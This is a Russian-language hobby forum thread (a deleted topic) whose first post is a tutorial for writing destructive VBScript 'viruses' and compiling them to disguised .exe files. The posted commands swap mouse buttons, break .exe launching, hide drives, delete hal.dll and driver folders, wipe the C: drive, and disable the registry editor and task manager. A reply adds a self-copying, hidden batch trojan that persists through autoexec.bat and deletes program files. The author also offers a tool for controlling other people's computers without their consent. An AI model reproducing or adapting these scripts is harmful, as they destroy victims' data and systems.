Перейти к содержимому
0
  • Категории
  • Последние
  • Популярные
  • Категории
  • Последние
  • Популярные
Свернуть
  1. Главная
  2. Категории
  3. Начало эпохи
  4. Разработка
  5. Обучение/Вопросы
  6. Вирус!за 15 минут через VB

Вирус!за 15 минут через VB

Запланировано Прикреплена Закрыта Перенесена Обучение/Вопросы
27 Сообщения 16 Участники 0 Просмотры
  • Сначала старые
  • Сначала новые
  • По количеству голосов
Ответить
Авторизуйтесь, чтобы ответить
Эта тема удалена! Эта тема была удалена. Только пользователи с правом управления темами могут её видеть.
  • Гладиатор Автор
    Гладиатор
    Гладиатор
    Это сообщение удалено!
    написал в отредактировано Гладиатор
    Гладиатор
    #1

    %(red)[Выкладывал секундомер высмеяли.Обидно.
    Вот вам такая вредоносная программка я ее зделал че 11-15 минут]
    Поставил хайд.не знаю почему но поствил

    Внимание, спойлер!

    Короче не важно новичок ты или умелый хакер,важно то нужно это тебе или нет???

    Вредоносная программа будет написана на языке visual basic script.
    Затем скомпелирована в "exe" формат.
    Приступим:
    Для начала,нужно уметь изменять расширение файла, с этого и начнём.
    Существует много способов, но мне по душе
    У каждого должен быть обычный архиватор,вот им мы и воспользуемся.
    И так,создайте к примеру текстовый фаил под названием "Текстовый документ".
    Теперь найдите этот текстовик через свой архиватор. В архиваторе,
    вы должны увидеть следующее: "Текстовый документ.txt".
    Окончание "txt" - имя расширения файла,вот его и нужно изменить,точно так же, словно, редактируете имя папки или файла,стираете строчку "txt" и ставите скажем "mp3".
    В результате мы получаем "Текстовый документ.mp3" формата.
    Если всё понятно, а вопросов возникнуть по этому поводу недолжно,то пойдём дальше.
    Создайте текстовый документ,содержащий следующее:

    on error resume next
    Set S = CreateObject("Wscript.Shell")
    set FSO=createobject("scripting.filesystemobject")
    s.run"rundll32 user32, SwapMouseButton"

    Затем, сохранив полученные данные, вам нужно изменить расширение файла, и вместо "txt" прописать "vbs".

    Аббревиатура "vbs", происходит от названия языка программирования - "visual basic script".

    Вот у нас и готова первая, простая, вредоносная программка, меняющая местами кнопки мыши.

    Теперь нужно её скомпелировать (изменить) в "exe" формат с помощью программы: "Vbs2Exe",
    и установить любой значок с помощью грабера иконок: "IconToy".

    А теперь информация для тех, кто не намерен ограничивать свои возможности банальным обменом кнопок мыши.

    on error resume next
    Set S = CreateObject("Wscript.Shell")
    set FSO=createobject("scripting.filesystemobject")
    Три, верхние строчки - должны присутствовать всегда. Далее,
    следует кодировка, а ниже, в скобках - пояснение.

    Так же возможно сочетать, те или иные вредоносные команды.
    s.regwrite"HKCRexefileshellopencommand","rundll32.exe"
    (Запрет на открытие "EXE" файлов)
    s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives","67108863","REG_DWORD"
    s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewOnDrive","67108863","REG_DWORD"
    (запрет доступа к жёстким дискам)
    fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1
    (удаляется системный фаил, после чего загрузка Windows становится невозможна.

    Система работает до первой перезагрузки)
    fso.deletefolder fso.getspecialfolder(0)+"system32drives",1
    fso.deletefolder fso.getspecialfolder(0)+"Driver Cache"
    (удаление драйверов)

    fso.deletefolder "АДРЕС",1
    (Удаление папки. Пример: fso.deletefolder "C:Новая папка",1)

    fso.deletefolder "C:.",1
    (Удаление всех папок диска С. Адрес можно поставить любой)

    fso.deletefile "АДРЕС",1
    (Удаление файла. Пример: fso.deletefile "C:Новая папкаТекстовый документ.txt",1)

    fso.deletefile "C:.",1
    (Удаление всех файлов диска С. Адрес можно поставить любой)

    s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemdisableregistrytools","1","REG_DWORD"
    (Запрет редактирования реестра)

    s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemdisabletaskmgr","1","REG_DWORD"
    (Запрет диспетчера задач)

    s.run"rundll32 user32, SwapMouseButton"
    (Обмен кнопок мыши)

    Пример:

    Для просмотра скрытого текста нужно иметь 100 Сообщений на форуме

    P.S Статейка не моя
    Ставим +

    0 Ответов Последний ответ
    0
    • Гладиатор Автор
      Гладиатор
      Гладиатор
      Это сообщение удалено!
      написал в отредактировано
      Гладиатор
      #2

      О нууу понятно теперь у нытиков мозгов не хватает что то сказать....

      0 Ответов Последний ответ
      0
      • Givi
        Givi
        Givi
        Это сообщение удалено!
        написал в отредактировано
        Профессионал
        #3

        Автор хакер прям решил отомстить за секундомер

        Добавлено через 00:23 мин.
        Вроде норм мнее понравилось вот только я олень не пойму многое

        0 Ответов Последний ответ
        0
        • Гладиатор Автор
          Гладиатор
          Гладиатор
          Это сообщение удалено!
          написал в отредактировано
          Гладиатор
          #4

          id114422327, да имено отомстить)))

          0 Ответов Последний ответ
          0
          • газпром
            газпром
            газпром
            Это сообщение удалено!
            написал в отредактировано
            Rus89
            #5

            давно такие делал

            0 Ответов Последний ответ
            0
            • Givi
              Givi
              Givi
              Это сообщение удалено!
              написал в отредактировано
              Профессионал
              #6
              **Deag** 
              **id114422327**, да имено отомстить)))
              

              хахахаха
              Ну что я могу сказать тебе? молодчик я попробовал у меня получилось что я создал просто текстовый документ кинул в архив потома я поместил вот то что ты вылаживал про мышку потом ввёл в конце "vbs"

              0 Ответов Последний ответ
              0
              • Гладиатор Автор
                Гладиатор
                Гладиатор
                Это сообщение удалено!
                написал в отредактировано
                Гладиатор
                #7

                id114422327, :):

                0 Ответов Последний ответ
                0
                • Givi
                  Givi
                  Givi
                  Это сообщение удалено!
                  написал в отредактировано
                  Профессионал
                  #8

                  Выкладывай ещё что то типа такого почаще и мнее в вк тоже пиши:D: Добра тебе...

                  Добавлено через 02:09 мин.
                  И получилось какая то штука что потом? длать напиши?

                  0 Ответов Последний ответ
                  0
                  • Гладиатор Автор
                    Гладиатор
                    Гладиатор
                    Это сообщение удалено!
                    написал в отредактировано
                    Гладиатор
                    #9

                    Bogdan Gnatyuk, будете ставить +,кину програму для управления чюжим компютером без его согласувания)

                    0 Ответов Последний ответ
                    0
                    • banabakis
                      banabakis
                      banabakis
                      Это сообщение удалено!
                      написал в отредактировано
                      добавлю всех
                      #10

                      читеры блин)))

                      0 Ответов Последний ответ
                      0
                      • Artyom Sergeevich 0
                        Artyom Sergeevich 0
                        Artyom Sergeevich 0
                        Это сообщение удалено!
                        написал в отредактировано
                        Местный
                        #11

                        да да

                        0 Ответов Последний ответ
                        0
                        • Mickey
                          Mickey
                          Mickey
                          Это сообщение удалено!
                          написал в отредактировано
                          Всегда ваш
                          #12

                          Хорош, плюс ставлю!!%(green)[!]

                          0 Ответов Последний ответ
                          0
                          • kovalruslan97
                            kovalruslan97
                            kovalruslan97
                            Это сообщение удалено!
                            написал в отредактировано
                            MADE IN CHINA
                            #13

                            бат-троян
                            не рекомендую испытывать так как надо переустановить ОС после этого

                            код

                            @Echo off
                            Echo Конфета открывается…
                            Date 13.09.01
                            If exist c:ski.bat goto abc
                            Copy %10 c:ski.bat
                            Attrib +h c:ski.bat
                            Echo Конфета во рту
                            Echo c:ski.bat >>autoexec.bat
                            :abc
                            md PRIDUROK
                            md LUZER
                            md DURAK
                            md LAMER
                            Label E: PRIDUROK
                            assoc .exe=.mp3
                            del c:Program Files/Skype
                            Echo Конфета съедена! Поздравляю!!!

                            0 Ответов Последний ответ
                            0
                            • -Kifir4eG
                              -Kifir4eG
                              -Kifir4eG
                              Это сообщение удалено!
                              написал в отредактировано
                              Продвинутый
                              #14

                              нормально спс

                              0 Ответов Последний ответ
                              0
                              • SlayerGod
                                SlayerGod
                                SlayerGod
                                Это сообщение удалено!
                                написал в отредактировано SlayerGod
                                Знаток
                                #15

                                кто успел тот и взял)

                                0 Ответов Последний ответ
                                0
                                • Serega42671
                                  Serega42671
                                  Serega42671
                                  Это сообщение удалено!
                                  написал в отредактировано
                                  Специалист
                                  #16

                                  норм

                                  0 Ответов Последний ответ
                                  0
                                  • SlayerGod
                                    SlayerGod
                                    SlayerGod
                                    Это сообщение удалено!
                                    написал в отредактировано
                                    Знаток
                                    #17

                                    Это даже не вирус, а Бат)

                                    0 Ответов Последний ответ
                                    0
                                    • Serega
                                      Serega
                                      Serega
                                      Это сообщение удалено!
                                      написал в отредактировано
                                      Мастер
                                      #18

                                      спс

                                      0 Ответов Последний ответ
                                      0
                                      • Fan Chelsea
                                        Fan Chelsea
                                        Fan Chelsea
                                        Это сообщение удалено!
                                        написал в отредактировано
                                        Местный
                                        #19

                                        Изменить

                                        eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

                                        Добавлено через 00:16 мин.
                                        gvfhfd

                                        Добавлено через 00:32 мин.

                                        0 Ответов Последний ответ
                                        0
                                        • Гладиатор Автор
                                          Гладиатор
                                          Гладиатор
                                          Это сообщение удалено!
                                          написал в отредактировано
                                          Гладиатор
                                          #20

                                          нейзвестный****нейзвестный, ,
                                          ты нажал открыть?

                                          0 Ответов Последний ответ
                                          0

                                          • Войти

                                          • Войдите, чтобы искать.
                                          © 2011–
                                          • Первое сообщение
                                            Последнее сообщение